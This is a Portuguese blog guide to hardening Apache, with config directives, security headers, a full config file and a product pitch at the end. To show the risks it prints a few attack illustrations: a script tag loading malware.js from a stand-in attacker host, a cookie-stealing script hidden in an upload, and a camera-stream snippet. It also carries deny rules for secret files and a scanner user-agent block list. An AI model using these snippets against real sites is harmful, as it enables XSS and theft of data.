Hardening do Apache: O Guia para Amplificar sua Segurança (com tudo que pode dar errado se você não fizer) Cada configuração padrão do Apache que você ignora é uma porta entreaberta. Este guia mostra exatamente o que cada uma delas significa na prática — e como fechar, uma por uma.
Cada configuração padrão do Apache que você ignora é uma porta entreaberta. Este guia mostra exatamente o que cada uma delas significa na prática — e como fechar, uma por uma.
O Apache HTTP Server é um dos servidores web mais usados do planeta há mais de 25 anos. E justamente por isso, é também um dos alvos mais estudados por atacantes. A configuração padrão dele é projetada para funcionar em qualquer lugar, não para ser segura em qualquer lugar. Essa diferença é o que separa um servidor saudável de um servidor que vira manchete.
Neste guia, vamos passar por cada item de hardening explicando três coisas:
No final, você terá um Apache pronto pra produção e vai entender exatamente por que cada linha está ali.
Quando o Apache responde a qualquer requisição, ele inclui um header Server que, por padrão, contém algo assim:
Server: Apache/2.4.52 (Ubuntu)
E em páginas de erro (404, 500, 403), ele adiciona um rodapé:
Apache/2.4.52 (Ubuntu) Server at example.com Port 443
Pode parecer inofensivo. Não é.
Imagine que você está rodando Apache 2.4.52 no Ubuntu. Um atacante varrendo a internet com Shodan, Censys ou um simples script Python descobre seu servidor. Em segundos, ele:
/var/www/html), onde ficam os logs, qual é o usuário que roda o serviço (www-data).O custo de um atacante descobrir tudo isso saiu de "horas de reconhecimento" para "uma requisição HTTP". Você economizou o trabalho dele.
Pior: scanners automatizados como o Mirai e seus derivados varrem a internet 24/7 procurando exatamente versões vulneráveis específicas. Não é pessoal — é industrial.
Em /etc/apache2/conf-enabled/security.conf (Debian/Ubuntu) ou /etc/httpd/conf/httpd.conf (RHEL/CentOS/Rocky):
# Mostra apenas "Apache" no header Server, sem versão nem SO
ServerTokens Prod
# Remove o rodapé das páginas de erro
ServerSignature Off
Depois disso, o header Server vira simplesmente Apache. O atacante ainda sabe que é Apache (não tem como esconder 100%), mas perdeu a versão e o sistema operacional. Já não consegue mais filtrar exploits específicos sem trabalho extra.
Importante: isso é "segurança por obscuridade" e não substitui manter o servidor atualizado. Mas reduz drasticamente o número de ataques automatizados que conseguem te encontrar como alvo viável.
Toda resposta gerada por uma página PHP traz um header como:
X-Powered-By: PHP/8.1.2
Mesmo problema do ServerTokens, com agravante: vulnerabilidades de PHP costumam ser muito mais críticas que vulnerabilidades do Apache, porque o PHP executa código. Algumas das CVEs mais conhecidas dos últimos anos (CVE-2019-11043 no PHP-FPM, por exemplo) permitiam execução remota de código com uma única requisição bem formada.
Se o atacante sabe que você está rodando PHP 8.1.2, ele consulta as CVEs daquela versão exata e tenta. Se sua versão for vulnerável e ainda não tiver sido patchada, é game over.
Existe outro efeito colateral menos óbvio: ferramentas de bug bounty e scanners agressivos priorizam alvos com versões antigas. Expor sua versão é como pendurar uma placa de "atire aqui primeiro".
No php.ini (use php --ini para descobrir o caminho exato):
expose_php = Off
Reinicie o Apache (ou PHP-FPM, dependendo do seu setup). O header desaparece completamente.
Atenção: se você usa PHP-FPM, há dois php.ini diferentes — um pro CLI e outro pro FPM. Ajuste o do FPM (/etc/php/8.x/fpm/php.ini).
O método TRACE do HTTP foi criado nos anos 90 para fins de debug — quando você manda um TRACE, o servidor te responde com a requisição inteira que recebeu, intacta. Por padrão, o Apache vem com TraceEnable On.
Existe um ataque conhecido chamado Cross-Site Tracing (XST). A ideia: usando JavaScript em uma página comprometida, um atacante força o navegador da vítima a fazer um TRACE no servidor alvo. A resposta inclui todos os headers — inclusive cookies marcados como HttpOnly, que normalmente o JavaScript não consegue ler.
Resultado: o atacante captura cookies de sessão que deveriam ser inacessíveis e sequestra a sessão da vítima. Funciona até hoje em servidores mal configurados.
Além disso, scanners de vulnerabilidade automatizados marcam o TRACE habilitado como vulnerabilidade de severidade média, o que afeta scores de compliance (PCI-DSS, por exemplo, exige TRACE desabilitado).
TraceEnable Off
Pronto. Sem efeito colateral, sem impacto em aplicação real. Não conheço um único site legítimo que precise de TRACE habilitado em produção.
O header ETag é usado para cache: o navegador guarda o ETag de um arquivo e, na próxima visita, pergunta ao servidor "esse arquivo ainda tem esse ETag?". Se sim, o servidor responde 304 Not Modified e o navegador usa a versão local. Eficiente.
O problema: por padrão, o Apache gera o ETag a partir do inode, tamanho e data de modificação do arquivo. O inode é um número interno do sistema de arquivos.
Em si, vazar um inode parece bobagem. Mas:
Não é o fim do mundo, mas é trivial de corrigir.
FileETag None
Você ainda terá cache funcionando via headers Last-Modified e Cache-Control — que são suficientes pra qualquer caso real.
O Apache não envia HSTS por padrão. Isso significa que mesmo que seu site rode em HTTPS, um navegador que acessa pela primeira vez ainda fala HTTP no primeiro request — e só depois é redirecionado.
Existe uma classe de ataques chamada SSL Stripping, popularizada pela ferramenta sslstrip. O cenário típico:
Com HSTS ativo, o navegador se recusa a falar HTTP com aquele domínio. Mesmo que o atacante intercepte, o navegador exibe um erro intransponível e bloqueia a conexão.
Header always set Strict-Transport-Security "max-age=63072000; includeSubDomains; preload"
O que cada parte significa:
max-age=63072000 — o navegador deve forçar HTTPS por 2 anos a partir da última visitaincludeSubDomains — vale também para todos os subdomínios (cuidado! veja aviso abaixo)preload — pede inclusão na lista hardcoded de browsers (Chrome, Firefox, Safari)AVISO CRÍTICO: uma vez aplicado, o navegador "lembra" do HSTS pelo max-age definido. Se o seu certificado vencer, ou se você precisar acessar o site via HTTP por algum motivo, não tem volta — o usuário fica trancado fora. Comece com max-age=300 (5 minutos) durante os testes, valide tudo, e só então aumente para o valor de produção.
Sobre includeSubDomains: se você tem legado.exemplo.com.br que ainda só fala HTTP, essa diretiva vai quebrar o acesso a ele. Verifique todos os subdomínios antes de aplicar.
Sem esse header, qualquer site na internet pode carregar o seu dentro de um <iframe>. Sim, qualquer um.
O ataque é chamado clickjacking e funciona assim:
opacity: 0Casos reais já aconteceram com Twitter, Facebook, internet banking. É um vetor especialmente perigoso para painéis administrativos.
Header always set X-Frame-Options "SAMEORIGIN"
Isso permite que apenas o seu próprio domínio coloque o site em iframe. Para bloquear completamente, use DENY. Para permitir um domínio específico, use a diretiva mais moderna Content-Security-Policy: frame-ancestors (que veremos no item 9).
Quando um navegador recebe um arquivo e o Content-Type parece estranho ou ausente, ele tenta adivinhar o tipo do arquivo olhando o conteúdo. Esse comportamento se chama "MIME sniffing".
Cenário clássico: seu site permite upload de imagens de avatar. Você valida que o arquivo é um PNG verificando a extensão. O atacante envia um arquivo chamado foto.png cujo conteúdo é, na verdade, JavaScript:
<script>roubaCookies()</script>
Você salva o arquivo, ele fica em /uploads/foto.png. Quando outra vítima acessa essa URL, o servidor responde com Content-Type: image/png. Mas o navegador olha o conteúdo, vê que tem <script>, e pensa: "Ah, isso parece HTML!" — e executa como HTML. O JavaScript roda no contexto do seu domínio. XSS armazenado em poucos passos.
Esse era um ataque devastador no Internet Explorer dos anos 2000, mas ainda funciona em navegadores modernos em certas condições.
Header always set X-Content-Type-Options "nosniff"
Esse header força os navegadores a respeitarem o Content-Type enviado, sem tentar adivinhar. É uma linha. Ative sempre.
Quando um usuário clica em um link no seu site para um site externo, o navegador envia um header Referer (sim, com erro de grafia — é histórico) informando ao destino exatamente de qual URL veio. Por padrão, isso inclui a URL completa.
Imagine que seu sistema tem URLs como:
https://meusistema.com/admin/usuarios?token=eyJhbG...
Ou:
https://meusistema.com/reset-senha?key=abc123def456
Ou ainda:
https://meuhospital.com/paciente/joão-silva-cpf-12345/exames
Se o usuário clica em um link externo nessa página (ou se a página carrega uma imagem de outro domínio), toda essa URL é enviada para o domínio externo, que vai ver tudo nos logs dele. Tokens, IDs, dados pessoais — tudo vazando.
Isso já causou vazamentos famosos — o caso mais conhecido é o de sistemas de saúde americanos que vazaram identificadores de pacientes para o Facebook por causa de pixels de tracking.
Header always set Referrer-Policy "strict-origin-when-cross-origin"
O que essa política faz:
https://meusistema.com), sem path nem query stringÉ um equilíbrio muito bom entre privacidade e funcionalidade.
Sem CSP, o navegador executa qualquer JavaScript que aparecer na página, de qualquer origem. Carrega imagens de qualquer lugar. Aceita estilos de qualquer fonte. Conecta em qualquer servidor via fetch().
CSP é a defesa moderna mais poderosa contra Cross-Site Scripting (XSS) — e XSS é, segundo a OWASP, uma das vulnerabilidades web mais comuns há mais de 20 anos.
Cenário sem CSP:
<script>)<script src="https://atacante.com/malware.js"></script>Com CSP bem configurada, o navegador simplesmente se recusa a carregar o script de atacante.com, mesmo que ele esteja injetado no HTML. A vulnerabilidade XSS continua existindo no código, mas o impacto é zerado.
Header always set Content-Security-Policy "default-src 'self'; script-src 'self'; style-src 'self' 'unsafe-inline'; img-src 'self' data: https:; font-src 'self' data:; connect-src 'self'; frame-ancestors 'self'; base-uri 'self'; form-action 'self'"
Decifrando:
default-src 'self' — por padrão, só carrega coisas do próprio domínioscript-src 'self' — JavaScript só do próprio domínio (sem inline, sem CDN externo)style-src 'self' 'unsafe-inline' — CSS do próprio domínio + permite estilos inline (necessário pra muitos frameworks)img-src 'self' data: https: — imagens do próprio domínio, data URIs e qualquer HTTPSconnect-src 'self' — fetch/XHR só pro próprio domínioframe-ancestors 'self' — substitui o X-Frame-Options modernobase-uri 'self' — impede que <base> seja injetado pra mudar o caminho baseform-action 'self' — formulários só podem submeter pro próprio domínioCSP é o header mais difícil de configurar. A política acima vai quebrar sites que usam Google Analytics, Google Fonts, jQuery via CDN, mapas embutidos, etc. Sempre teste primeiro com Content-Security-Policy-Report-Only, que apenas reporta violações sem bloquear. Use isso por alguns dias, monitore os logs do navegador, ajuste, e só então mude pra Content-Security-Policy real.
Sem esse header, qualquer página do seu site pode pedir acesso a câmera, microfone, geolocalização, USB, sensores de movimento, etc. Mesmo que a sua página nunca use isso, se houver um XSS, o atacante pode injetar código que pede esses acessos.
Imagine um XSS no seu site corporativo. Um atacante injeta:
navigator.mediaDevices.getUserMedia({ video: true, audio: true })
.then(stream => /* envia stream para servidor do atacante */)
A vítima vê o popup de "permitir câmera?" — e como está num site que ela confia, clica em permitir. Pronto: webcam e microfone do executivo da empresa, transmitindo ao vivo pro atacante.
Header always set Permissions-Policy "geolocation=(), microphone=(), camera=(), payment=(), usb=(), magnetometer=(), gyroscope=(), accelerometer=()"
Isso bloqueia completamente essas APIs. Se a sua aplicação realmente precisa de uma delas (uma página específica que usa câmera), você habilita só pra aquela origem usando camera=(self).
Sem esses headers, sua janela compartilha um processo com outras janelas que podem ter sido abertas a partir do seu site, e seus recursos podem ser carregados por qualquer origem.
Após os ataques Spectre e Meltdown (2018), descobriu-se que era possível, via JavaScript, ler memória de outros processos do navegador através de side channels da CPU. A defesa: isolar processos por origem.
same-origin, o navegador garante que sua janela está em um processo isolado das janelas de outras origensHeader always set Cross-Origin-Opener-Policy "same-origin"
Header always set Cross-Origin-Resource-Policy "same-origin"
# COEP só se você não embute recursos de terceiros
Header always set Cross-Origin-Embedder-Policy "require-corp"
Aviso sobre COEP: o require-corp quebra qualquer recurso de terceiros que não envie o header Cross-Origin-Resource-Policy. Se seu site embute YouTube, mapas Google, fontes de CDN, etc., remova o COEP ou mude para unsafe-none.
O Apache aceita praticamente todos os métodos HTTP por padrão, incluindo PUT, DELETE, OPTIONS, CONNECT, PATCH. Se houver qualquer módulo mal configurado (ou um WebDAV antigo esquecido), métodos como PUT podem permitir upload arbitrário de arquivos.
Há casos documentados de servidores Apache com WebDAV habilitado por engano onde atacantes faziam PUT /shell.php e instalavam uma webshell em segundos. Game over total — execução remota de código com uma única requisição.
Mesmo sem WebDAV, métodos perigosos habilitados aparecem em scanners de vulnerabilidade e impactam compliance.
Restringir os métodos no <Directory> raiz:
<Directory /var/www/html>
<LimitExcept GET POST HEAD>
Require all denied
</LimitExcept>
</Directory>
Se sua aplicação for uma API REST que precisa de PUT, DELETE e PATCH, ajuste:
<LimitExcept GET POST HEAD PUT DELETE PATCH OPTIONS>
Require all denied
</LimitExcept>
Em muitos setups, se você acessa uma URL de pasta (/uploads/) e não há um index.html lá dentro, o Apache lista todos os arquivos da pasta. Bonitinho, organizado, com data e tamanho.
Cenários reais:
/backups/ — listando todos os dumps de banco/uploads/ — todos os documentos enviados pelos usuários, incluindo PDFs internos/.git/ — todo o histórico do código fonte/old/ — versões antigas do site com vulnerabilidades já corrigidas na versão novaJá vi isso vazar contratos confidenciais, dumps de banco com hashes de senhas, código fonte completo de aplicações comerciais, e (em um caso particularmente desagradável) fotos pessoais de funcionários que tinham subido o conteúdo da pasta de fotos errada.
No <Directory> ou em um .htaccess:
Options -Indexes
E pra garantir defesa em profundidade, bloqueie acesso direto a arquivos sensíveis:
<FilesMatch "(^\.|\.(bak|backup|swp|old|sql|sql\.gz|tar|tar\.gz|zip|log|env|ini|conf|config|yml|yaml|json|lock)$|composer\.(json|lock)|package(-lock)?\.json|\.git|\.svn|\.htaccess|\.htpasswd|wp-config\.php)">
Require all denied
</FilesMatch>
E impeça acesso a qualquer arquivo/pasta começando com .:
<IfModule mod_rewrite.c>
RewriteEngine On
RewriteRule "(^|/)\." - [F]
</IfModule>
Isso protege .git, .env, .svn, .htaccess, .DS_Store, etc.
Por padrão, o Apache executa PHP em qualquer pasta dentro do DocumentRoot. Inclusive na pasta de uploads.
Combine isso com qualquer falha de upload — filtragem fraca de extensão, validação só por MIME type, qualquer coisa — e você tem upload de webshell. O atacante envia shell.php, acessa /uploads/shell.php, e tem acesso de execução de comandos no servidor com o usuário do Apache.
Esse é, há mais de 15 anos, um dos padrões de comprometimento mais comuns em sites WordPress, Joomla, e qualquer aplicação PHP com gestão de uploads.
<Directory /var/www/html/uploads>
php_flag engine off
AddType text/plain .php .phtml .php3 .php4 .php5 .pht .phar
<FilesMatch "\.(php|phtml|php3|php4|php5|pht|phar)$">
Require all denied
</FilesMatch>
</Directory>
Três camadas de proteção: desabilita o motor PHP, força extensões PHP a serem servidas como texto, e bloqueia o acesso direto a arquivos com essas extensões. Defesa em profundidade.
Em muitas distribuições, o Apache vem com suporte a SSLv3, TLS 1.0 e TLS 1.1 habilitados por padrão. Esses protocolos têm vulnerabilidades conhecidas (POODLE, BEAST, FREAK) e foram oficialmente descontinuados pelo IETF em 2021.
Mesmo que seu navegador moderno negocie TLS 1.3, o fato de o servidor aceitar TLS 1.0 significa que clientes maliciosos podem forçar downgrade. Além disso, qualquer certificação séria (PCI-DSS, ISO 27001, LGPD em algumas interpretações) exige TLS 1.2 no mínimo.
SSLProtocol all -SSLv3 -TLSv1 -TLSv1.1
SSLCipherSuite ECDHE-ECDSA-AES128-GCM-SHA256:ECDHE-RSA-AES128-GCM-SHA256:ECDHE-ECDSA-AES256-GCM-SHA384:ECDHE-RSA-AES256-GCM-SHA384:ECDHE-ECDSA-CHACHA20-POLY1305:ECDHE-RSA-CHACHA20-POLY1305:DHE-RSA-AES128-GCM-SHA256:DHE-RSA-AES256-GCM-SHA384
SSLHonorCipherOrder off
SSLSessionTickets off
# OCSP Stapling — melhora performance e privacidade da validação do certificado
SSLUseStapling on
SSLStaplingCache "shmcb:logs/ssl_stapling(32768)"
Para gerar uma configuração sob medida (incluindo perfis "modern", "intermediate" e "old" para diferentes níveis de compatibilidade), use o Mozilla SSL Configuration Generator.
O Apache aceita requisições de tamanho arbitrário. Sem limite.
Um atacante pode enviar um POST de 4GB pra qualquer endpoint do seu site e exaurir a memória do servidor. Repetindo isso de várias origens, derruba o servidor sem precisar de botnet. É um DoS amador, mas funciona.
# Limita uploads a 10MB por requisição (ajuste conforme sua necessidade)
LimitRequestBody 10485760
Para endpoints específicos que precisam aceitar uploads maiores (por exemplo, upload de vídeo), defina o limite localmente.
Aqui está o arquivo completo pronto para copiar. Salve em /etc/apache2/conf-available/security-hardening.conf e ative com:
sudo a2enconf security-hardening
sudo apachectl configtest
sudo systemctl restart apache2
# ============================================================
# SECURITY HARDENING - Apache HTTP Server
# Coloque em /etc/apache2/conf-available/security-hardening.conf
# Ative com: sudo a2enconf security-hardening
# ============================================================
# --- Esconder versões e informações do servidor ---
ServerTokens Prod
ServerSignature Off
TraceEnable Off
FileETag None
# --- Headers de segurança HTTP ---
<IfModule mod_headers.c>
# Força HTTPS por 2 anos (CUIDADO: comece com max-age=300 pra testar!)
Header always set Strict-Transport-Security "max-age=63072000; includeSubDomains; preload"
# Anti-clickjacking
Header always set X-Frame-Options "SAMEORIGIN"
# Anti MIME-sniffing
Header always set X-Content-Type-Options "nosniff"
# Controla vazamento de URL via Referer
Header always set Referrer-Policy "strict-origin-when-cross-origin"
# Bloqueia APIs sensíveis do navegador
Header always set Permissions-Policy "geolocation=(), microphone=(), camera=(), payment=(), usb=(), magnetometer=(), gyroscope=(), accelerometer=()"
# CSP base (TESTE primeiro com Content-Security-Policy-Report-Only!)
Header always set Content-Security-Policy "default-src 'self'; script-src 'self'; style-src 'self' 'unsafe-inline'; img-src 'self' data: https:; font-src 'self' data:; connect-src 'self'; frame-ancestors 'self'; base-uri 'self'; form-action 'self'"
# Isolamento de origem cruzada
Header always set Cross-Origin-Opener-Policy "same-origin"
Header always set Cross-Origin-Resource-Policy "same-origin"
# COEP só se NÃO embute recursos de terceiros:
# Header always set Cross-Origin-Embedder-Policy "require-corp"
# Remove headers que vazam informação
Header always unset X-Powered-By
Header always unset Server
Header unset X-Powered-By
Header unset Server
</IfModule>
# --- Bloqueio de métodos HTTP perigosos ---
<Directory /var/www/html>
Options -Indexes -Includes -ExecCGI
AllowOverride None
Require all granted
<LimitExcept GET POST HEAD>
Require all denied
</LimitExcept>
</Directory>
# --- Bloqueio de arquivos sensíveis ---
<FilesMatch "(^\.|\.(bak|backup|swp|old|sql|sql\.gz|tar|tar\.gz|zip|log|env|ini|conf|config|yml|yaml|json|lock)$|composer\.(json|lock)|package(-lock)?\.json|\.git|\.svn|\.htaccess|\.htpasswd|wp-config\.php)">
Require all denied
</FilesMatch>
# --- Bloqueio de pastas/arquivos começando com . ---
<IfModule mod_rewrite.c>
RewriteEngine On
RewriteRule "(^|/)\." - [F]
</IfModule>
# --- Pasta de uploads sem execução de PHP ---
<Directory /var/www/html/uploads>
php_flag engine off
AddType text/plain .php .phtml .php3 .php4 .php5 .pht .phar
<FilesMatch "\.(php|phtml|php3|php4|php5|pht|phar)$">
Require all denied
</FilesMatch>
</Directory>
# --- Limite de tamanho de requisição ---
LimitRequestBody 10485760
# --- SSL/TLS forte ---
<IfModule mod_ssl.c>
SSLProtocol all -SSLv3 -TLSv1 -TLSv1.1
SSLCipherSuite ECDHE-ECDSA-AES128-GCM-SHA256:ECDHE-RSA-AES128-GCM-SHA256:ECDHE-ECDSA-AES256-GCM-SHA384:ECDHE-RSA-AES256-GCM-SHA384:ECDHE-ECDSA-CHACHA20-POLY1305:ECDHE-RSA-CHACHA20-POLY1305:DHE-RSA-AES128-GCM-SHA256:DHE-RSA-AES256-GCM-SHA384
SSLHonorCipherOrder off
SSLSessionTickets off
SSLUseStapling on
SSLStaplingCache "shmcb:logs/ssl_stapling(32768)"
</IfModule>
E o .htaccess complementar (para hospedagens compartilhadas ou ambientes onde você não tem acesso ao conf principal):
# .htaccess - colocar na raiz do site
<IfModule mod_rewrite.c>
RewriteEngine On
# Força HTTPS
RewriteCond %{HTTPS} !=on
RewriteRule ^ https://%{HTTP_HOST}%{REQUEST_URI} [L,R=301]
# Bloqueia acesso a arquivos/pastas começando com ponto
RewriteRule "(^|/)\." - [F]
# Bloqueia user agents de scanners maliciosos comuns
RewriteCond %{HTTP_USER_AGENT} (nikto|sqlmap|fimap|nessus|whatweb|jbrofuzz|libwhisker|webshag|grabber|dirbuster) [NC]
RewriteRule .* - [F,L]
</IfModule>
# Bloqueia listagem de diretórios
Options -Indexes
# Bloqueia arquivos sensíveis
<FilesMatch "(^\.|\.(bak|backup|swp|old|sql|sql\.gz|tar|tar\.gz|zip|log|env|ini|conf|config|yml|yaml|json|lock)$|composer\.(json|lock)|package(-lock)?\.json|\.git|\.svn|\.htaccess|\.htpasswd|wp-config\.php)">
Require all denied
</FilesMatch>
# Limite de upload (10MB)
LimitRequestBody 10485760
Depois de aplicar tudo:
# Valida sintaxe do Apache
sudo apachectl configtest
# Reinicia
sudo systemctl restart apache2
# Testa headers
curl -I https://seudominio.com.br
Use também ferramentas externas:
ServerTokens Prod e ServerSignature OffTraceEnable OffFileETag Noneexpose_php = Off no php.iniheaders, rewrite, ssl habilitadosOptions -Indexes aplicadoFilesMatchHardening não é um evento, é um processo contínuo. Você aplicou tudo isso hoje? Ótimo. Mas amanhã alguém vai instalar um plugin novo no WordPress, alguém vai atualizar o PHP e resetar configurações, alguém vai colocar um arquivo de backup numa pasta pública "só por um instante", alguém vai habilitar TRACE pra debug e esquecer.
A única forma realista de manter um servidor seguro a longo prazo é monitorar continuamente — alguma ferramenta tem que estar olhando, todo dia, se nada mudou pra pior.
É exatamente pra isso que existe o SentinelHub: scanner contínuo de segurança web, com alertas em tempo real quando algo muda, descrições em português, relatórios prontos pra mostrar pro chefe, e detecção de tudo que esse guia cobriu (e muito mais).
Próximo post da série: Hardening do Nginx — mesmos princípios, configuração diferente, alguns truques exclusivos. Não perca.
Gostou? Compartilha com o sysadmin da sua empresa. Achou que ele deveria ler isso ontem? Provavelmente sim.